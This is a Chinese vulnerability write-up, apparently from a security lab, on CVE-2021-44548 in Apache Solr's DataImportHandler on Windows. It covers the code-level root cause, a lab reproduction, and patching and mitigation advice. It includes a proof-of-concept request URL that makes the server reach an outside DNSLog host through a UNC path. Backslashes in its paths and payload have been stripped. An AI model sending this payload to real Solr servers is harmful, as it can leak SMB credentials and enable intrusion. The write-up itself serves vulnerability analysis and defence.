由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
2021年12月18日,Apache发布安全公告,Apache Solr中存在一个信息泄露漏洞(CVE-2021-44548),该漏洞影响了8.11.1之前的所有Apache Solr版本(仅影响Windows平台)。Apache Solr的DataImportHandler中存在一个不正确的输入验证漏洞,可利用Windows UNC路径从Solr主机调用网络上的另一台主机的SMB服务,或导致SMB攻击,从而造成:
根据抓包内容中请求URL参数,以及solrconfig.xml中可以看到
漏洞点出于DataImportHandler#handleRequestBody
如果传入的command=show-config
并且传入config
不为空则有一个openResource
操作,且参数可控
看到solr-core-8.11.0.jar!orgapachesolrcoreSolrResourceLoader.openResource
this.getInstancePath()
得到的路径为D:Apache_Solrsolr-8.11.0serversolrcore1
再执行resolve("conf")
变成,D:Apache_Solrsolr-8.11.0serversolrcore1conf
再执行resolve(resource)
时,这里的WindowsPathType变成了UNC
resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径,是则直接返回参数
resource以\
开头就能使inConfigDir
完全可控,在Files.exists
中就会去请求windows的unc路径
Apache Solr < 8.11.1 (仅Windows)
Solr漏洞环境下载地址:
https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip
1)打开命令行,进入bin目录下,运行solr.cmd start
2)再另一个命令行面板中执行solr.cmd create_core -c new_core
3)然后在solr-8.11.0dist目录中添加三个jar包:
4)在solr-8.11.0serversolrcore1confsolrconfig.xml中添加DataImportHandler路由
5)在C:UsersAdministratorDownloadssolr-8.11.0serversolrcore1conf目录下新建data-config.xml文件,内容如下:
<dataConfig>
<dataSource type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
convertType="true"
url="jdbc:mysql://IP:Port/test"
user="XXXX"
password="XXXX"/>
<document>
<entity name="entity" query="SELECT id, title, content, tags FROM test_table" >
</entity>
</document>
</dataConfig>
6)重新启动solr
进入Solr后台,选择core为我们新配置的core。
选择Dataimport,查看Configuration,可以看到我们新配置的data-config的详细信息
我们点击reload并抓包
查看包内容,可以看到请求如下:
URL参数添加参数,构造payload
payload:http://localhost:8983/solr/core1/dataimport?command=show-config&config=\xxxxxx
我们添加&expandMacros=false&config=hdlr07.dnslog.cnaaa,发送请求:
在DNSLog上可以看到收到请求
目前此漏洞已经修复,建议受影响用户升级到Apache Solr 8.11.1。
下载链接:
https://solr.apache.org/downloads.html
缓解措施:
确保只有受信任的客户端才能向Solr的DataImporthandler发出请求
本文主要介绍了CVE-2021-44548 Apache Solr 敏感信息泄露漏洞的原理分析及复现过程,漏洞主要利用DataImportHandler存在输入验证缺陷,最终利用SMB服务导致敏感信息泄露。
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/179444.html